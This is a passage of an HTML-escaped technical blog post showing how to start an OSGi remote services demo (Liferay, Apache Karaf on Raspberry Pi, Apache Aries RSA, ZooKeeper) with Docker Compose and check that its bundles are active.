&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        └── osgi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ├── configs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            │   └── org.apache.aries.rsa.discovery.zookeeper.cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            └── modules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer-1.0.0-SNAPSHOT.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── jansi-1.18.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.core-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.command-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.config-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.local-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.discovery.zookeeper-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.eapub-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.examples.echotcp.api-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.examples.echotcp.consumer-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.provider.tcp-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.spi-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.apache.aries.rsa.topology-manager-1.14.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                ├── org.osgi.service.remoteserviceadmin-1.1.0.jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                └── zookeeper-3.4.14.jar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Complete project structure docker-osgi-remote-services-example&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;As for the OSGi Apache Karaf container for the service
&lt;strong&gt;Raspberry Pi&lt;/strong&gt;, you should have a Raspberry Pi (at least 3 Model B+),
install Apache Karaf and follow the configuration tasks shown in
previously. The Apache Karaf installation and configuration activity on
Raspberry Pi is really simple; I recommend reading the
&lt;a href=&quot;https://karaf.apache.org/manual/latest/#_installation&quot;&gt;official guide&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The two figures below show Apache Karaf running on my Raspberry Pi
3 Model B+ and the Apache Aries RSA and Apache ZooKeeper bundle list.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:861px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:88.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;355\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20355\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20178v177h401V0H0v178m16%20163c0%201%200%202%201%201%200-2%201-2%203%200h12c0%202%2011%201%2012-1%200-3-2-4-4-1h-1l-1-2-1%202-1%201-1-1c0-2-6-2-7-1h-1l-1-1-2%201h-1l-4-1c-3%200-3%200-3%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/c85cb/apache-karaf-running-on-raspberry-pi.webp 300w,/static/c4778fb69db5f072256bd20ecf8c002b/e88ff/apache-karaf-running-on-raspberry-pi.webp 600w,/static/c4778fb69db5f072256bd20ecf8c002b/16d1d/apache-karaf-running-on-raspberry-pi.webp 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/5a46d/apache-karaf-running-on-raspberry-pi.png 300w,/static/c4778fb69db5f072256bd20ecf8c002b/0a47e/apache-karaf-running-on-raspberry-pi.png 600w,/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Apache Karaf running on Raspberry Pi 3 Model B+&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png&quot; title=&quot;Figure 8 - Apache Karaf running on Raspberry Pi 3 Model B+&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Apache Karaf running on Raspberry Pi 3 Model B+&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:931px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;151\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20151\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2076v75h401V0H0v76m50-53v6H26a237%20237%200%20000%201h24v6l1%206V30h104v6l1%206V30h122l123-1H156v-6l-1-5v11H51v-6l-1-6v6m111%2088c0%202%201%203%202%203l1-1v-2l1%201c1%202%2017%203%2018%201h1c0%202%200%202%202%201h3l2-2c0-2-1-2-8-2l-7-1h-5l-1%201h-4l-1-1c-2-2-4-1-4%202m-34%2014h-8l-7%201v1c-2%202-1%203%204%203%204%200%205-1%206-2l1-2%201%202-1%203%202-3%202-2v1c-1%202-1%203%201%203l1-1%201-1v1l6%201c4%200%205-1%205-2h2v2l2-2c0-3-1-3-8-3h-10M18%20142h-4c-3%200-3%200-3%202s0%202%201%201h2c2%202%202%202%203%201%201-2%202-2%202-1h1l2%201c2%202%203%202%203%201s1-2%202-1l1-2%202%201%202%201h3l2-2h1l1%202%201-2c0-2-1-2-2-2H18\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/c85cb/apache-aries-zookeeper-on-raspberry-pi.webp 300w,/static/d6bbc923e358c6142c3685ceb9c5874f/e88ff/apache-aries-zookeeper-on-raspberry-pi.webp 600w,/static/d6bbc923e358c6142c3685ceb9c5874f/c4004/apache-aries-zookeeper-on-raspberry-pi.webp 931w&quot; sizes=&quot;(max-width: 931px) 100vw, 931px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/5a46d/apache-aries-zookeeper-on-raspberry-pi.png 300w,/static/d6bbc923e358c6142c3685ceb9c5874f/0a47e/apache-aries-zookeeper-on-raspberry-pi.png 600w,/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png 931w&quot; sizes=&quot;(max-width: 931px) 100vw, 931px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - Apache Aries (RSA) and Apache ZooKeeper bundles installed on the
Raspberry Pi&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png&quot; title=&quot;Figure 9 - Apache Aries (RSA) and Apache ZooKeeper bundles installed on the
Raspberry Pi&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - Apache Aries (RSA) and Apache ZooKeeper bundles installed on the
Raspberry Pi&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;53-start-up-of-the-solution-via-docker-compose&quot;&gt;5.3 Start-up of the solution via Docker Compose&lt;/h3&gt;&lt;p&gt;So far I think we have seen a lot of beautiful interesting things.
Now it&amp;#x27;s time to start our solution via docker compose.
The steps to do are very few and simple (as shown in Console 3).&lt;/p&gt;&lt;p&gt;Before starting the services and avoiding &amp;quot;strange errors&amp;quot;, you should
make sure that the resources dedicated to Docker are adequate. For these services
I recommend dedicating at least 2 CPUs and 6 Gbytes of memory.&lt;/p&gt;&lt;p&gt;As for the Docker version, the minimum required is 18.
Personally my environment is &lt;a href=&quot;https://www.docker.com/products/docker-desktop&quot;&gt;Docker Desktop&lt;/a&gt; with Engine version 19.03.12 and
Compose version 1.26.2.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/docker-osgi-remote-services-example.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; docker-osgi-remote-services-example&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Commands for docker-osgi-remote-services-example repository clone and solution start-up&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The first time I recommend running the docker compose not in detached mode,
so as to better follow the start-up of the whole solution. For most of
you, the first start-up will take several minutes, spent downloading the
images from Docker Hub.&lt;/p&gt;&lt;p&gt;To make sure the solution came up without any problems, we could
use the &lt;code&gt;docker-compose ps&lt;/code&gt; command and we should get a result like
the one shown in Figure 10 below. In this case, the output of the command
informs that everyone in the container is up and running.&lt;/p&gt;&lt;p&gt;The figure below highlights in particular the TCP ports of the
administration of OSGi containers, both Liferay and Apache Karaf. It is highlighted
also the exported TCP port for the Apache ZooKeeper service.&lt;/p&gt;&lt;p&gt;The TCP port for the Liferay Gogo Shell is 21311 for the respective instances
of Apache Karaf the TCP ports are: 8104 and 8109.&lt;/p&gt;&lt;p&gt;Port 2181 exported for the Apache ZooKeeper service is what it will be
uses from OSGi containers to log information about its services.&lt;/p&gt;&lt;p&gt;From the Docker Compose file (see Source Code 5), the exported administration ports
for the two instances of Apache Karaf, they are set to base range, so it&amp;#x27;s not
made sure that the port number is always the same, it could change at each start
of the service.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;a href=&quot;https://asciinema.org/a/351174?autoplay=1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://asciinema.org/a/351174.svg&quot; width=&quot;100%&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Console Session 1 - Start-up of the solution via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;By clicking on Console Session 1, you can see the terminal session it does
reference to the commands shown in Console 3 for the start-up of Docker Compose.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/cdb70/docker-compose-ps.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;30\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2030\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2015l1%2015v-2c0-2%200-2%206-2s6%200%205%202c-2%201-2%201%201%201%202%200%202%200%201-1s-1-1%201-1a1175%201175%200%200174%201c-2%201-2%201%200%201l3-1c0-2%202-2%208-2l7%201%202%201%201-1v-1l1%202c0%201%206%202%206%200%201-2%204-2%2018-2%2018%200%2020%200%2016%202l-2%201h2l2-1h2l1-2c3%200%203%202%201%202-1%201%200%201%201%201l3-1%202-2c3-1%206%201%205%202l1%201%202-1h5l3%201c3%200%204%200%203-1%200-2%200-2%202-2l2%202%201%201%201-1c0-2%201-2%209-2s11%201%208%202c-1%201%202%201%207%201l8-1c0-1%201-2%203-2s3%201%203%202c-1%201%201%202%204%202v-2h-1c-1%201-1%201-1-1a2738%202738%200%200031%201c1-2%201-4-1-4l-19-1%202-1h4l1%201c1-2%203-2%203-1h4l8%202c0%201%201%202%203%202h7l5%201c1%202%200%202-5%202h-6l68%201h68V0h-52c-47%200-53%200-52%202l-2%201-2-1c0-2-1-2-5-2s-4%200-1%201c9%201%203%202-10%202-12%200-14%200-14-2l-1-1-1%201v2c-2%202-30%202-30%200l-2-2-3%201h2l2%201-17%201c-10%200-17%200-16%201%203%201%201%202-4%202l-5-1-1-2-1-1c0-2-1-2-3-2-3%200-3%200-1%201l3%201-16%201c-14%200-16%200-16%202l-7%201-7-1c0-2-2-2-12-2l-12-1c0-2-1-2-3-2s-2%200%200%201l1%201a272%20272%200%2001-55-1c2%201%202%201-3%202-1%201%200%201%202%201%204%200%204%202-1%202l-4-1c0-2-1-2-3-2-4%200-5-2-2-2%201-1%200-1-2-1s-3%200-2%201c4%201-1%202-14%202S11%203%2015%202c1-1%200-1-1-1-2%200-3%200-2%201%203%201%201%202-5%202-5%200-6%200-6-2-1-1-1%204-1%2013m0%201c0%208%200%2013%201%2011%200-3%200-3%206-3h10c4%201%206%200%205-1l-11-1-10-1c0-1%208-2%2014-1h4a17652%2017652%200%200151-1c0-1%203-1-35-1a393%20393%200%2001-31-2c5%200%207-1%208-2s1-1-1-1L1%2012l196-1a12889%2012889%200%20000-1H1V5L0%2016m14-2c-2%201-3%201%2033%202%2026%200%2033%200%2034-2%201-1%200-1-4-1l-5%201H14m239%204c0%202%203%202%2023%202l21-1a118%20118%200%2000-34-1h-10m50%204c0%202%202%202%2020%202h22c3%201%204-1%201-2a161%20161%200%2000-33%200h-10m0%204l-2%201h-2c0%202%2012%202%2015%201h1a69%2069%200%200022%200l3%201%202-2-4-1h-35\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/c85cb/docker-compose-ps.webp 300w,/static/a4672f928f53e17ce4f246069acbb8e0/e88ff/docker-compose-ps.webp 600w,/static/a4672f928f53e17ce4f246069acbb8e0/92f8c/docker-compose-ps.webp 1200w,/static/a4672f928f53e17ce4f246069acbb8e0/62ed8/docker-compose-ps.webp 1800w,/static/a4672f928f53e17ce4f246069acbb8e0/46261/docker-compose-ps.webp 2400w,/static/a4672f928f53e17ce4f246069acbb8e0/219e4/docker-compose-ps.webp 2433w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/5a46d/docker-compose-ps.png 300w,/static/a4672f928f53e17ce4f246069acbb8e0/0a47e/docker-compose-ps.png 600w,/static/a4672f928f53e17ce4f246069acbb8e0/c1b63/docker-compose-ps.png 1200w,/static/a4672f928f53e17ce4f246069acbb8e0/d61c2/docker-compose-ps.png 1800w,/static/a4672f928f53e17ce4f246069acbb8e0/97a96/docker-compose-ps.png 2400w,/static/a4672f928f53e17ce4f246069acbb8e0/cdb70/docker-compose-ps.png 2433w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Run the docker-compose ps command to check the status of
service container.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/c1b63/docker-compose-ps.png&quot; title=&quot;Figure 10 - Run the docker-compose ps command to check the status of
service container.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Run the docker-compose ps command to check the status of
service container.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;We do further checks to ensure that Apache Aries RSA e
Apache ZooKeeper plus the bundles of our services have been correctly
installed. To do this, simply connect to the Gogo Shell
of Liferay and use the &lt;code&gt;ls&lt;/code&gt; command to verify that i
respective bundles and are in the Active state. The same activity can be
conducted on the Apache Karaf instances, connecting to the console and using
the &lt;code&gt;list&lt;/code&gt; command to verify that the respective bundles are present and that
are also in the Active state.&lt;/p&gt;&lt;p&gt;The two figures below show the output of the &lt;code&gt;ls&lt;/code&gt; and&lt;code&gt; list&lt;/code&gt; commands for Gogo
Shell (Liferay) and Apache Karaf. For connection to the Apache Karaf console
use the command &lt;code&gt;ssh -p 8104 karaf @ 127.0.0.1&lt;/code&gt; Specify the port
of the instance you want to connect to (see Figure 10).
The password to access the Apache Karaf console is: &lt;em&gt;karaf&lt;/em&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/b5dee/gogoshell-liferay-lb.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;129\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20129\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2065v64h401V0H0v65M278%204l1%202%201-1h1c1%201%2012%201%2013-1l1%201h1l1-2v2l1%201%202-1V4l1%201%207%201c8%200%208%200%207-3%200-2-1-2-2-1h-19c-16%200-16%200-16%202m64-2l1%201v1c-1%202-1%202%202%202%202%200%203-1%203-2l1-1v2l1%201%201-1h1c1%201%206%201%206-1l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%205%201c6-1%206-1%206-3s-1-3-2-1h-33m-48%2094l1%202%201-1h1c1%202%2012%201%2013-1%201-1%201-1%201%201h1l2-2v3l2-1h1l3%201h5c3%201%204%200%203-2%200-3-34-2-34%200m65-1v2c-1%201%200%201%203%201l5-1h1c1%202%205%202%207-1h1v2l2-2h1v2l1-1h1l9%201c6%200%207%200%206-2l-1-2v2h-1c-1-1-4-2-18-2l-17%201m-101%2016c0%202%205%203%206%200l1-1v2l1%201%201-1h1c2%201%205%201%206-1l1-1%201%201v1l1-1%201-1v1c0%201%201%202%204%202%204%200%205%200%204-2%200-4-28-4-28%200m62%206c0%202%200%203%204%203%203%200%204-1%205-2l1-1v1c-1%202-1%202%202%202l3-1h7l1-2v3c1%200%202%200%201-1h2c2%201%202%201%202-1l-2-2a57%2057%200%2000-18%200h-6l-1-1-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/c85cb/gogoshell-liferay-lb.webp 300w,/static/dab827e7456d4c17438ee7e5d6a563f4/e88ff/gogoshell-liferay-lb.webp 600w,/static/dab827e7456d4c17438ee7e5d6a563f4/92f8c/gogoshell-liferay-lb.webp 1200w,/static/dab827e7456d4c17438ee7e5d6a563f4/3deba/gogoshell-liferay-lb.webp 1237w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/5a46d/gogoshell-liferay-lb.png 300w,/static/dab827e7456d4c17438ee7e5d6a563f4/0a47e/gogoshell-liferay-lb.png 600w,/static/dab827e7456d4c17438ee7e5d6a563f4/c1b63/gogoshell-liferay-lb.png 1200w,/static/dab827e7456d4c17438ee7e5d6a563f4/b5dee/gogoshell-liferay-lb.png 1237w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 11 - Output of the lb command from which you can see the Apache bundles
Aries (RSA), Apache ZooKeeper + the remote services bundles developed.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/c1b63/gogoshell-liferay-lb.png&quot; title=&quot;Figure 11 - Output of the lb command from which you can see the Apache bundles
Aries (RSA), Apache ZooKeeper + the remote services bundles developed.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 11 - Output of the lb command from which you can see the Apache bundles
Aries (RSA), Apache ZooKeeper + the remote services bundles developed.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:955px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:69.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;278\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20278\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20139v139h64v-5c0-4%200-5%202-5s2%200%202%205v5h333V0H0v139m19%206v7h-7l-7%201%207%201h7v57l1%2058V154h37v57l1%2058V154h24v57l1%2058V154h87v57l1%2058V154h115a2495%202495%200%20000-2H171v-7l-1-6v13H83v-7l-1-6v13H58v-7l-1-6v13H20v-7l-1-6v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bd63524ecfbb017312fab37c94b89d84/c85cb/console-apache-karaf-verifica-bundle.webp 300w,/static/bd63524ecfbb017312fab37c94b89d84/e88ff/console-apache-karaf-verifica-bundle.webp 600w,/static/bd63524ecfbb017312fab37c94b89d84/1a389/console-apache-karaf-verifica-bundle.webp 955w&quot; sizes=&quot;(max-width: 955px) 100vw, 955px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bd63524ecfbb017312fab37c94b89d84/5a46d/console-apache-karaf-verifica-bundle.png 300w,/static/bd63524ecfbb017312fab37c94b89d84/0a47e/console-apache-karaf-verifica-bundle.png 600w,/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png 955w&quot; sizes=&quot;(max-width: 955px) 100vw, 955px&quot; type=&quot;image/png&quot;/&gt;
